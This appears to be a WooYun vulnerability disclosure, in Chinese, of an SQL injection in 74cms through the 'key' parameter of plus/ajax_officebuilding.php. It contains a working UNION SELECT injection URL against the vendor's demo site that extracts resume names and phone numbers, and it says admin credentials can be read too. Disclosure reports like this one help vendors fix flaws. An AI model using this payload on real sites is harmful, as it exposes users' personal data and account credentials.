骑士cms注射漏洞可获取简历及账号密码

漏洞详情

披露状态:

2014-03-06: 细节已通知厂商并且等待厂商处理中
2014-03-06: 厂商已经确认,细节仅向厂商公开
2014-03-16: 细节向核心白帽子及相关领域专家公开
2014-03-26: 细节向普通白帽子公开
2014-04-05: 细节向实习白帽子公开
2014-04-20: 细节向公众公开

简要描述:

详细说明:

plus/ajax_officebuilding.php 页面key值没有过滤,导致注入问题,通过此漏洞可以获取所有用户简历、企业资料、用户后台账号密码,整个数据库的资料都可以获取。



打开plus/ajax_officebuilding.php可以看到,key值没有进行任何过滤。直接进行sql查询。

1.png





由于骑士系统密码的加密hash不能获取,所以此漏洞只能获取用户资料,不能获取网站shell,此漏洞危害等级不高。

漏洞证明:



骑士演示站的数据



注入代码:

http://demo.74cms.com/plus/ajax_officebuilding.php?act=key&key=s%E9%8C%A6%27%20or%201=1%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,id,fullname,telephone,0x3C623E205E5F5E3C2F623E),9%20from%20qs_resume%23







用户简历资料:

111.png





网站后台账号、密码

2.png

修复方案:

过滤key值。

版权声明:转载请注明来源 hash@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-06 11:33

厂商回复:

感谢您对官方的支持,我们会尽快修复此漏洞!

最新状态:

暂无


漏洞评价: